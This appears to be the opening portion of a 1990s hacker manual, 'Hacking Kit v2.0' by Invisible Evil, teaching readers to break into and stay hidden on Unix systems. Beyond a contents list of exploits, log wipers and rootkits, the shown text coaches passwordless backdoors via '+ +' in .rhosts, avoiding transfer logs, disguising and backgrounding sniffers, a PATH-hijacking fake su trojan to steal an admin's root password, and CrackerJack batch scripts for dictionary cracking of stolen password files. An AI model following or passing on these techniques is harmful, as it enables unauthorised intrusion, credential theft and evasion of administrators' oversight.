home *** CD-ROM | disk | FTP | other *** search
Text File | 1998-11-07 | 524.5 KB | 12,242 lines |
-
- THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!!
- AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED....
-
- Unix Utils
- Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX
-
- Hacking Kit v1.0.c Jan/97
- Hacking Kit v2.0.b March/97 (this is an update)
-
- By: Invisible Evil
- IRC: #unixhacking #virus #hackers #virii #hacking #hacker
- #hack is just to busy for me ;)
- NICK: i-e
-
- If you have any other exploits, bugs, sniffers or utils that are not in here
- please mail them to ii@dormroom.pyro.net. And I will be sure to keep you
- updated with the latest version of this toolkit.
-
- Comments are welcome. Sys admin's that want to keep their system clean are
- welcome to request the latest version.
-
- If you are looking for perfect grammar or spelling please put this file in
- your circular file. I put enough time into this and just put it through
- a cheap spell check.
-
- Whats new? Look for more info on tricks of the trade, and nfs mounting
- drives to gain access to shells. I am sure you will like the additions.
- I have added a login trojan, in.telnetd trojan, and some more scripts for
- scanning machines for mountable drives. Have pun!
-
-
- I will add a (*) to u p d a t e d s e c t i o n s.
-
-
- Contents:
-
- Disclaimer
- Preface
-
- Chapter I - Unix commands you need to know
-
- 1A. Basic commands
- Getting back to your home directory
- getting into a user home directory easy
- how to see what directory you are in now
- How to get a complete manual for each command
- 1B. Telnet
- Unix file permissions
- Unix groups
- How to change permissions and groups
- 1C. Rlogin
- .rhosts
- How to setup a .rhost file to login without a password
- 1D. FTP
- Logging in to the site, but never out of the site.
- Using prompt, hash, and, bin
- Using get, put, mget, and, mput
- 1E. GCC (unix compiler)
- How to get the file to the hack box without uploading it
- How to copy files to your home directory easy
- How to compile .c programs
- How to name them what you want
- How to load programs in the background while you log off
- Looking at your process with ps
-
- Chapter II - Getting started (your first account)
-
- 2A. Cracking password files
- How to get hundreds of accounts with your first hacked account
- Why you only really need one password cracked on a system
- How to get the root password from the admin, on an non-exploit system
- Using A fake su program
- Doc's for the fake su program
- How to find the admin's
- How to read .bash_history
- Cracker Jack - A good password cracker
- How to use crackerjack
- Word Files
- What you will need to get started
- Hashing the word files
- * Hash file for use with cracker jack and your word list
- * Hash file for use with cracker jack and your passwd file
- 2B. Talking to newbe's
- How to find the newbe's
- How to get the newbe's passwords
- 2C. The hard way
- Using finger @
- What could the password be?
- Getting more info from finger
- a small .c file to use if you get on
- Writing a small perl script to do the work for you.
- How to get a domain list of all domains from rs.internic.net
- A perl script to rip the domains & put them in a sorted readable list
- How to execute the perl script
-
- * 2D. Using mount to gain access to unix systems
- * What is nfs mount
- * What you need to get started
- * How to check a system to see if you can mount their drives
- * A script to scan for systems that are nfs mountable
- * How to mount the system
- * How to unmount the system
- * A Live Demo
- * Mounting the drive
- * Viewing the user directories
- * Editing the local machine's passwd file
- * How to put a .rhosts file in one on thier users directories
- * How to rlogin to the users account
-
- Chapter III - Getting password files
-
- 3A. PHF
- What is phf
- Using lynx or netscape to access phf
- Finding the user id the victims httpd (www) is running under
- How to see if you are root using phf
- How to cat the password file using phf
- Backing up the victims password file
- Changing a users password using phf
- Restoring the old passwords
- A .c file that will let you pipe commands to phf from your shell
- How to use the phf shell file
- Another way to use phf - text by quantum
- Quantum's bindwarez file
- A perl script that will try EVERY domain on the internet and log
- root access and snatch passwd files for you all day in the background.
- Doc's for the pearl script above
- Getting accounts from /var/?/messages
- A script to get the passwords for you if you can access /var/?/messages
- 3B. Newbe's
- Lammer's
- 3C. Getting shadow passwd files
- What is a shadow passwd
- Getting the shadow file without root access
- A .c file to cat any file without root access
- 3D. Getting /etc/hosts
- Why get /etc/hosts
-
- Chapter IV - Getting the root account
-
- What to do if you can't get root on the system
- 4A. Bugs
- Intro
- 4B. Exploits
- The umount/mount exploit
- What are SUID perm's
- The umount .c file
- How to compile umount.c
- The lpr Linux exploit
- The lpr Linux .c exploit file
- The lpr BSD .c exploit file
- How to use lpr
- Watch the group owners with lpr
- Just use lpr for first root, then make a SUID shell
- How to make the SUID root shell for future root access (root root)
- The splitvt exploit
- The splitvt exploit .c program
- How to use the splitvt exploit program
- The sendmail 8.73 - 8.83 root exploit shell script
- How to use the sendmail exploit to get root access
-
-
- Chapter V - Making yourself invisible
-
- Keeping access
- 5A. Zap2 (for wtmp/lastlog/utmp)
- Fingering the host before login
- How to login and stay safe
- How to configure Zap2
- Finding the log file locations
- The zap.c file
- 5B. Other scripts
- The wted wtmp editor
- Command line usage for wted
- How to chmod the wtmp.tmp file
- How to copy the wtmp.tmp to the wtmp file
- Setting the path for the wtmp file in wted
- The wted.c file
- Cleaning the lastlog file using lled
- Command line options for lled
- How to use lled
- How to chmod the lastlog.tmp file
- How to copy the lastlog.tmp file to lastlog
- Setting the path for the lastlog file in lled
- The lled.c file
- * A good perl script for editing wtmp, utmp, and, checking processes
- Chapter VI - Cleaning the log files
-
- 6A. A walk around in a hacked system - let's login
- Logging on the system
- Watching for admin's
- Nested directories
- Having your root file ready
- Becoming invisible
- Greping the log directory
- Cleaning the logs
- Lets sniff the network
- Editing your linsniffer.c
- Looking at the processes running
- Compiling and naming your sniffer program
- Starting a sniff session
- Changing group file access
- Making a suid root shell trojan for uid=0 gid=0 every time
- Naming your trojan
- Touching the files date
- Checking the sniffer log file
- Setting the history files to null
- * Using unset for the history files
- 6B. messages and the syslog
- How to find the logs are by reading /etc/syslog.conf
- How to see if there are logs in hidden directories
- How to see if logs are being mailed to user accounts
- How to see if logs are going to another machine
- * How to edit syslog.conf to hide logins
- * Restarting syslogd
- How to see if there is a secret su log by reading /etc/login.defs
- 6C. The xferlog
- How to edit the xferlog
- How to grep and edit the www logs
- How to look for ftp logs
- * Other ways to edit text logs
- * Using grep -v
- * A script to rip text lines from these logs
- * Restarting syslogd
- 6D. The crontabs
- How to find and read the root or admin's cron
- How to see if MD5 is setup on the machine
- What is MD5
-
- Chapter VII - Keeping access to the machine
-
- 7A. Tricks of the trade
- When the system admin has found you out
- What to expect from the admin
- History files
- Nested directories
- Placing trojans
- Hidden directories
- Making new commands (trojans)
- Adding or changing passwd file entry's
- Setting some admin accounts with null passwords
- The best way to add an account
- Editing a null account so you can login
- Installing more games or exploitable programs
- How to know your admin's
- Reading system mail (with out updating pointers)
- What to look for in the mail directories
- A program to read mail without updating pointers
- 7B. Root kits and trojans
- What are root kits
- What are Demon kits
- What do trojans do
-
-
- *********************************************************
- * Appendix I - Things to do after access *
- *********************************************************
- The a-z checklist
-
- *********************************************************
- * Appendix II - Hacking / Security WWW / ftp sites *
- *********************************************************
-
- *********************************************************
- * Appendix III - More exploits for root or other access *
- *********************************************************
-
- A3-01. Vixie crontab buffer overflow for RedHat Linux
- A3-02. Root dip exploit
- A3-03. ldt - text by quantumg
- A3-04. suid perl - text by quantumg
- A3-05. Abuse Sendmail 8.6.9
- A3-06. ttysurf - grab someone's tty
- A3-07. shadow.c - Get shadow passwd files
- A3-08. Abuse Root Exploit (linux game program)
- A3-09. Doom (game) root exploit - makes suid root shell
- A3-10. dosmenu suid root exploit
- A3-11. Doom root killmouse exploit
- A3-12. Root exploit for resize icons
- A3-13. Root console exploit for restorefont
- A3-14. Root rxvt X server exploit
- A3-15. Root wuftpd exploit
- A3-16. A shell script called gimme, used to read any system file
-
- *********************************************************
- * Appendix IV - Other UNIX system utilities *
- *********************************************************
-
- A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX
- A4-02. invisible.c Makes you invisible, and works on some SunOS without root
- A4-03. SySV Program that makes you invisible
- A4-04. UNIX Port scanner
- A4-05. Remove wtmp entries by tty number or username
- A4-06. SunOS wtmp editor
- A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog
-
-
- *********************************************************
- * Appendix V - Other Unix Exploits *
- *********************************************************
-
- A5-01. HP-UX Root vhe_u_mnt exploit
- A5-02. IRIX Root mail exploit
- A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX
- A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root
- A5-05. BSD - crontab root exploit
-
- *********************************************************
- * Appendix VI - UUENCODED FILES *
- *********************************************************
-
- 1. Quantum's Bindwarez binary file for PHF
- 2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet
- 3. Linux Root Kit - Includes: Login, Netstat, and, PS
- 4. The Fake SU Program
-
- **********
- Disclaimer
- **********
-
- True this manual will aid hackers into breaking into systems but it is also
- provided to guide system admin's on different security problems and help
- with things to watch for on their system to keep hackers off.
-
- If you use this manual to gain access to any system where you do not belong,
- and do any type of damage, you alone will suffer for your stupid actions!
-
- I am not telling you to break into any system, I am just showing some of
- my experience, and things that I would do if I was to break into my own system.
-
- This is for information only.....
- ISP's Secure Your Systems!
-
- *******
- Preface
- *******
-
- Ok, lets get started. If you are going to hack, you must be doing this for a
- reason. All hackers have their reasons for doing what they do. Most are just
- hungry to learn. Most of what I have learned about unix, i have learned on
- some service providers or someone else's machine. I am one for the 'hands on'
- experience. There is much to learn and you would have to read 20,000 books
- just to get what you would learn out of a few config files, a few admin email
- messages, some .bash_history files, and some poking around a few systems.
-
- Here in this manual you should learn how to be the 'complete hacker' and come
- up with a style of your own. It will not take to long, but it will take some
- practice and experience before you will be able to call yourself a hacker.
-
- Not just anyone that can crack a password file, and log into a unix machine
- can call themselves a hacker. Ok, you can get root access to a box! You still
- are not a hacker! You need to know why you are a hacker first, and then have
- your 'code' and 'style'. You need a purpose and a reason for hacking into any
- box. The true hacker knows why he is doing what he does, and is doing it for
- reasons like knowledge, free information, and ACCESS. The true hacker will
- turn one hack into access to many different systems and providers and keep this
- access for future learning and more FREE information.
-
- The wan-a-be hacker will not be invisible, and will do many stupid things like:
- delete or corrupt data, down the machine, run bots or irc clients from root
- accounts or machines Give the passwords he cracked to everyone in the world
- to prove they can hack. Or they might just do stupid things that will get
- themselves cought. I think sometimes this is done purposely just to draw
- attention to themselves so they can get cought and make the announcement that
- they are a hacker, and they were here! A real hacker needs no such glory,
- he just needs the access and wants to keep it and be invisible! He will not
- tell many friends about the system, he will not give out the passwords or
- accounts, he will keep others off so he can continue his access there and
- keep it clean.
-
- Here in this manual i hope that i can add enough style so that you can have
- real heart in this matter and and be a good clean hacker.
-
- Happy hacking ...
-
- --------------------------------
- Chapter I
-
- Unix commands you need to know.
- --------------------------------
-
- There are just a few basic commands you need to learn, and then some unix
- programs that will aid you in logging in logging into or keeping access to
- the machine.
-
- Call your local internet service provider and ask them to sell you a shell
- account so that you will have something to practice on to learn these
- basic commands. The average shell account might cost you $10.00 per month
- if you don't already get one with your existing account.
-
- --------------
- Section 1A
-
- Basic commands
- --------------
-
- I hope you have a basic knowledge of DOS, that would help a bit, and I will
- assume that you already do in writing this manual.
-
- DOS Commands you are used to first:
-
- REMEMBER: unix is case sensitive, so if I here use lower case you must also,
- if I use a space you must also. DOS will let you get away with allot of things
- but unix will not!
-
- DIR/W = ls
- DIR = ls -l
- DIR/AH = ls -al AH=(hidden) -al=(include hidden files as well as regular)
- RENAME = mv
- ATTRIB = chmod
- MD = mkdir
- RD = rmdir
- DEL = rm
- COPY = cp
-
- These are the basic commands, i suggest that you lookup the man pages
- on each one of these commands from your unix shell. You would do this by
- typing 'man command' without the ''.
-
- each one of these commands will have switches for them, like cp -R to copy
- files and directories. So you would type man cp to get all of the switches
- you can use with the copy command.
-
- cd {then press enter} will always take you to your home directory
- cp filename $HOME will copy the file to your home directory
- cd ~username will take you to that users home dir if you have access to be
- there
- pwd {press enter} will show you what directory you are in.
-
- -------------
- Section 1B
- Telnet
- -------------
-
- Telnet is a command that you can use from a shell account, or from an exe
- file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems
- that will let you connect to another machine on the net. There are other
- programs you will learn about here like FTP, and rlogin that you can use as well
- but now we will use telnet.
-
- You can use telnet if you know the IP address or the host name you want to
- connect or login to. To use the command you would just use the telnet program
- to connect to the IP or host like this:
-
- Telnet netcom.com or telnet 206.146.43.56
-
- Ok, now lets login:
-
- telnet machine.com
-
- trying .....
-
- Connected to machine.com
-
- Linux 2.0.28 (machine.com) (ttyp0)
-
- machine login:username
- password:#######
-
- bash$
-
- Your prompt might look different, but we will use this one.
-
- Notice above that it will tell you the O/S when you get the login prompt.
- You can use this if you get a large collection of passwd files. Even before
- going on to crack them sort them by O/S types by just telnet-ing to them to
- see what they are running. There are other ways, but lets keep this telnet
- topic going for a sec... telnet domain.name.com, after you see what they are
- running make a note of this and ctrl ] to break out of the connection.
-
- Put all of your linux passwd files into a pile to be cracked first. All we
- need is one account that works for the system, and we can be almost sure
- we will have root on that machine! There are way to many holes in linux to
- think we will not be able to own one of those machines, so lets get to work so
- we can start this wonderful world of hacking.
-
- ----------------------
- Unix File Permissions
- ----------------------
-
- bash$
-
- bash$ cd /tmp
- bash$ ls -l
- total 783
- -rwx------ 1 wood users 1 Jan 25 18:28 19067haa
- -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
- -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
- -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
- drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
-
- First notice that we used a / and not \ to change to the tmp directory! Unix
- uses the / as the root so it is backwards from DOS here.
- Notice we did ls -l for the long directory. If we did 'ls' we would have what
- you see below.
-
- bash$ ls
- 19067haa filter.14428 pop3a13598 pop3a13600 screens
-
- With what we see here can not tell much, so most of the time we will be
- using ls -al with the -al we will see the hidden files also, hidden
- files and directories will always start with a '.'. Now watch:
-
- bash$ ls -al
- total 794
- drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
- drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
- -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
- drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
- -rwx------ 1 wood users 1 Jan 25 18:28 19067haa
- -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
- -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
- -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
- drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
-
- .pinetemp.000 is a hidden file, and .test is a hidden directory.
-
- -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-
- row 1 row2 row3
- ----------------------------
-
- Now here we need to learn about permissions, users, and groups.
-
- Row #1 is the file permissions
- Row #2 is who owns the file
- Row #3 is the group owner of the file
-
- File permissions are grouped together into three different groups.
- If the line starts with a d, it is a directory, if there is no d, it is a file.
-
- - --- --- ---
- | | | |--------> Other = anyone on the machine can access
- | | |------------> Group = certain groups can access
- | |----------------> User = only the owner can access
- |------------------> Directory Mark
-
-
-
- - rw- r-- r--
- | | | |--------> Other can only read the file
- | | |------------> Group can only read the file
- | |----------------> User can read or write to the file
- |------------------> It is not a directory
-
-
- - rwx rwx r-x
- | | | |--------> Other can read and execute the file
- | | |------------> Group can read write and execute the file
- | |----------------> User can read write and execute the file
- |------------------> It is not a directory
-
-
- The owner is the user name in row #2 and the group owner is the name in row #3.
- In DOS the file has to have a .exe, .com, or .bat extension to execute, but in
- unix all you need is the --x in your group of user, other, group
-
- You can change these permissions if you own the file or have root access:
-
- ---------------------------------------------------------------------------
- chmod oug+r filename will make all three groups of permissions be able to
- read the file.
-
- chmod og-r filename would make the file readable only to the user that owns
- the file. (notice the - or + to set the file yes or no)
-
- chmod +x filename would make the file execute by all.
-
- chown username filename would make the file owned by another user.
- chgrp groupname filename would make the file owned by another group.
- ---------------------------------------------------------------------------
-
- Make sure to keep file perm's and groups the same or you will be sniffed
- out and booted from the system. Changing configs on the system might only
- break other functions, so keep your paws off or you are just asking to get
- cought. Only do what you are *SURE* of. Only use commands that you know,
- you might find yourself spending hours fixing just one typo like
- chown -R username /* could keep you busy for a year ;)
-
- Just be careful!
-
- We will get into this stuff more as we go into the needs for this.
-
- ------------------
- Section 1C Rlogin
- ------------------
-
- There is another command you might use and we will get into this elsewhere
- as we get into using rlogin to login to a system without a password.
-
- For now read the man pages on rlogin by using the man rlogin from your
- shell account.
-
- The basic command would be :
-
- rlogin -l username hostname
- connecting....
- password:
-
- bash$
-
- Rlogin requires the user to have a file in their home directory that tells
- what system they can receive the rlogin from. In this file .rhosts it would
- look like this:
-
- username hostname (or) hostname
-
- if you were to add to this file + + it would let any user from any host
- login without a password.
-
- The file would look like this:
-
- ----- cut here ------
- + +
- _____ cut here ------
-
- if they already had entry's you could add the + + under their host names, but
- remember now they would notice seeing they would now be able to rlogin
- without the password. You would be targeting people that did not
- already have a .rhosts file.
-
- ---------------
- Section 1D FTP
- ---------------
-
- Another way to login will be FTP. You can use a windows client, or just
- login from a shell.
-
- ftp ftp.domain.com
-
- This will allow you to download or upload files to the site you are hacking.
- Just make sure to edit the xferlog (see section 6d) to wipe your tracks
- on the system. Remember NEVER to ftp or telnet out of the hacked system, only
- log into it! If you are coming from your own system, or from another hacked
- account you might just be giving your login and password to the system admin
- or another hacker on their system. There could be a telnetd or ftpd trojan
- loaded on the system, or even a sniffer. Now you would have just gave someone
- your login id and password. And if this was the system admin, he might have
- the idea that revenge is sweet ;)
-
- Using ftp from the shell, I would suggest using a few commands:
-
- After you login, and have your prompt, type these commands
- pressing enter after each one.
-
- prompt
- hash
- bin
-
- prompt will allow you to type a command like (mget *) or (mput*) and transfer
- an entire directory without having it prompt you for each file yes or no.
-
- hash marks
- hash will put ############ on the screen so you can see the transfer
- is still moving and at what speed.
-
- bin will make sure you get the files in the right mode, and if transferring
- binary files, you will be sure they will uncompresses.
-
- The transfer commands are easy, get filename, or, put filename, or for many
- files you can use regular wild cards with mput or mget.
-
- --------------------
- Section 1E
- GCC compiler
- --------------------
-
- There will be a time when you will need to compile a .c file.
-
- It is best to compile on the machine you are working on. So upload or copy
- and past the files to the hacked box and compile them there. If you have
- problems with their compiler you can try to upload pre-compiled files.
-
- One way to get the file up to the victims machine would be to use copy
- and paste. Get a good tsr or windows shareware program to do this if
- you do not have any way to do it now. You can copy a script file from
- one window and paste it into an editor on the victims machine, and then compile
- the new file. Walaa... no upload log of the file. You can copy and paste
- from the victims machine as well so that there are no download logs of ascii
- files.
-
- To copy and paste you can just open an editor on the hacked box, and then copy
- from your other session, and paste your script into the editor and save the
- file. This way there will not be anything in the xferlog yet.
-
- You can do the same thing with the password file. If you do decide to
- download the password file using ftp, make sure to copy it to your home
- directory first under a different name.
-
- bash:/etc:> cp passwd $HOME/plog would copy the file called passwd from the /etc
- directory you were in, to your home directory in a file called plog instead of
- passwd. Admin's grep the xfer logs looking for who is downloading the passwd
- file.
-
- Another way to get file to or from the box without showing up in the logs
- would be to open an irc session on the victims machine, then from your other
- session where you are already a user on irc, send the files using dcc.
-
- The command to send the files would be /dcc send <nick> <filename>
- The command to get the file on the other side would be /dcc get <nick> <file>
-
- It would be nice if you had a bot loaded on the irc when you were hacking so
- that you could just send files to the bot and have it auto receive them.
-
- A 'bot' is a robot program that you can load in the background on your shell
- account that will receive files, keep channels open, etc...
-
-
- The GCC compiler is easy...
-
- gcc filename.c -o filenameyouwant
-
- If i was to compile a file called z2.c that would zap the log files i would
- type this:
-
- gcc z2.c -o zap
-
- This would give me a file that would exe, called zap
-
- If I just typed : gcc z2.c I would have a file named a.out, that was the executable
- file and would have to rename it to zap, or some name i would know by doing
- this: mv a.out zap
-
- Now I would have a file named zap that was executable instead of a.out.
-
- You will want to make sure you are not naming these files names that sys admin's
- will know. If you had a sniffer file called 'linuxsniffer.c' you don't
- want to keep the same name ;) call it something like:
-
- gcc linuxsniffer.c -o lsn
-
- Remember also sometimes you can execute these files names right in the directory
- by just typing the file name like for our 'lsn' (sniffer) above just by
- typing lsn. But sometimes this will not work unless you add a ./ to the
- command. So remember, sometimes you will need to type ./lsn or your file
- name.
-
- Also there will be a time you will want a program to run in the background
- even after you logoff. Like in the case of the sniffer above. In this case
- you might want to name your sniffer something that would not be so easy
- noticed. Use your own style here. BUT to make it stay in the background while
- you are off the system you need to run the command with a & after the command.
-
- lsn&
-
- If you were to just type lsn, your screen would pause, and you would not be
- able to type while the program was sniffing, but if you typed lsn& it would
- load and the system prompt would come right back to you. Also the system
- would let you know it was loaded by giving you the process id # that it
- was loaded as.
-
- You could view the process with the ps -x command, you might want to run
- ps -auxe |more
-
- a= all
- u= show user
- x= yours
- e= env
-
- some machines
- f=tree
- or command: pstree
-
- ------------------------------------
- Chapter II
- Getting started (your first account)
- ------------------------------------
-
- There are many ways to get a starter account. I will go into each area to
- help you get started. All you need is one good account to spawn off to
- hundreds of accounts. Think of this; You get one good exploitable system,
- most any linux machine ;)
-
- Now you get root access and load a sniffer program. The TCP sniffer will
- search out any login process on the network and log the login and password
- for any telnet, ftp, or dial-in session going out or coming into the system.
-
- Now even if it is a small ethernet connection you have around 100 passwords
- for a few machines or domains. If a larger net provider you have hundreds
- of accounts all over the world! All you need for this is one good account
- and password to an exploitable system. If it seems you can not exploit
- root on the system, this might be a good system to crack passwords on and
- exchange the accounts for other accounts from hackers or irc users that are
- looking to load a bot but do nt have the shell account or disk space to do
- it. NEVER give out even one password to a system you exploited root on.
- Keep these systems to yourself!
-
- Lets now get into ways to get your first accounts.
-
- ------------------------
- Section 2A.
- Cracking passwd files
- ------------------------
-
- If you are hacking with the right frame of mind, you will run the crack
- program until you get one good account that will let you into the system.
-
- You will login and see if you can exploit root on the system, if so, get root,
- get the files you need to use into your nested directory, and erase your
- presence, and clean all of the logs. Now you are ready to load your sniffer.
-
- Why go on hacking passwords for a system that within 24 hours you will have
- most of the passwords anyway? Not only for the machine you just hacked, but
- other machines that were connected to as well. If the system is not
- exploitable don't even waste your time on it, go on to the next. At a latter
- date if you want to crack passwords for accounts to trade go ahead.
-
- If you get an admin's account cracked you might want to read his history files,
- and see if he is using the su command to access root allot. If he is you can
- use an su trojan on him. This will get you the root password. This works like
- this: You change his shell script so that a hidden directory (.term) is good,
- is set in the search path before all other directories. You put a fake su
- binary in the .term (or other) directory. He types su, everything looks good
- to him, he types in the root password when prompted, the password id copied to
- a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a
- password error telling him to try again. He thinks he must have done something
- wrong and runs su again, but this time the real one and logs in.
-
- You will find this fake su program in the last appendix named uuencoded files.
-
- Here are the docs:
-
- Fake SU by Nfin8 - i-e
-
- IRC: /msg i-e
-
- Easy as 1,2,3 ...
-
- 1. Change the path in one of the user accounts that you have access to that
- you see is using SU from reading their history files, to hit a path first
- that you have placed the su trojan file into. .term or .elm is good!
-
- 2. Make sure to edit the top of the su.c file to the path you will be using
- so that the sutrojan will delete isself and let the real SU work for the
- second try.
-
- 3. Put all of the files in the target directory and compile the su.c file.
-
- gcc su.c -o su
-
- Then delete all of the files but the su. All done!
-
- .bash_profile might look like this:
-
- # .bash_profile
-
- # Get the aliases and functions
- if [ -f ~/.bashrc ]; then
- . ~/.bashrc
- fi
-
- # User specific environment and startup programs
-
- PATH=$PATH:$HOME/bin
- ENV=$HOME/.bashrc
- USERNAME=""
-
- export USERNAME ENV PATH
-
- You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin
-
-
- When the sys admin run's 'SU' it will run the SU-trojan in the .term
- directory first and report that the password he typed was wrong, the
- Trojan su program would have put a hidden file in the /tmp directory for
- you that contains the root password (or account passwd) typed. If it was
- an account rather then the root password it will let you know the account
- name. Then the trojan su program deletes itself so that the next try will
- get the real su program.
-
-
- You can find the admin's at the top section of the passwd file in the /etc
- directory. Just type : more passwd
-
- You can be sure that the first two real accounts made in the passwd file are
- admin's, also sometimes you can find others by where their directories are
- located in the password file. Like /staff/username.
-
- The history files are in each users account directory. You can read these to
- see what the last commands were that were typed by the user. Sometimes as
- much as the last 100+ commands. Look for the file .bash_history, or History,
- you can read these using more. command: more .bash_history, or most times to
- keep your typing you can type : more .b* (or) just type : more .b (and then
- hit the tab key on your keyboard).
-
- Ok so now you need a good password cracking program. You can see in the next
- chapter on how to get password files from systems that you do not have an
- account on, but it is catch 22, you need the password cracking program too.
-
- There are three things that you will need.
-
- 1. Password cracking program
- 2. Good word files
- 3. Password files
-
- The best password cracking program to start would be crackerjack. You can
- search the web and find this easy as 1,2,3. Download it and you are ready
- to go. If you are a bit more advanced you can download a cjack for unix and run
- it in a shell. But if you are just getting started get the DOS/OS/2 version.
-
- Also search for some good word files. The best word files are the names.
- You will find that most unsecured passwords out there are guy's girlfriends
- names, of girls boyfriends names ;) You will find word files like
- 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'
- hackersdict' and other like these to be the best.
-
- Load crackerjack like this:
-
- [D:\jack]jack
-
- Cracker Jack version 1.4 for OS/2 and DOS (386)
- Copyright (C) 1993, The Jackal, Denmark
-
- PWfile(s) : domain.com.passwd
-
- Wordfile : domain.com.passwd
-
- Like above run the password file as the wordfile first. This will get you all
- of the logon's first that used their login name as their password, also if they
- used any other info like their real name or company name it will hit right away
- and you will not have to wait for the program to search through a word file.
-
- If you want to hash the word file to get more out of it you can read the doc's
- for crackerjack.
-
- Hashing is where you can tell crackerjack to change the case of the wordfile
- or even add numbers or letters to the beginning or end of the words in the word
- file, like sandy1 or 1sandy. You will find that many users do this and think
- they are more secure.
-
- Here are hashing files for both the passwd file and your word list. After
- looking these over you will see how you can modify these or create new ones
- to suit your needs.
-
- ------------ start of dicthash.bat
- @echo off
- cls
- echo - THIS FILE FOR DOS MACHINES
- echo ----------------------------------------------------------------------
- echo - To work this batch file have all of the crackerjack files in the
- echo - current directory with this batch file, along with your dict and
- echo - password file. Then use this batch file using the following format:
- echo -
- echo - dicthash.bat dictfilename.ext passwordfilename.ext
- echo -
- echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
- echo -
- echo - dicthash will first load jack running the dict file against your
- echo - password file in both cases, then it will add numbers 0-9 both to
- echo - the begining and end of every dict word. This will take a while,
- echo - so go out for that week vacation!
- echo -
- echo - If you get tired you can 'ctrl c' to the next option or number.
- echo -
- echo - ii@dormroom.pyro.net
- echo -
- echo - Mail me some of your hits, let me know how this works for you ;)
-
- jpp -lower %1 | jack -stdin %2
- jpp %1 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
- jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
- jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
- jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
- jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
-
- ---------------- end of dicthash.bat
-
- ---------------- start of jackhash.bat
- @echo off
- cls
- echo - THIS FILE FOR DOS
- echo ----------------------------------------------------------------------
- echo - To work this batch file have all of the crackerjack files in the
- echo - current directory with this batch file, along with your password file.
- echo - Then use this batch file using the following format:
- echo -
- echo - jackhash.bat passwordfilename.ext
- echo -
- echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
- echo -
- echo - jackhash will first load jack running the passwd file against
- echo - itself in both upper and lower cases, then it will add numbers 0-9
- echo - both to the begining and end of every dict word. This will take
- echo - a while, so go out for that week vacation!
- echo -
- echo - If you get tired you can 'ctrl c' to the next option or number.
- echo -
- echo - ii@dormroom.pyro.net
- echo -
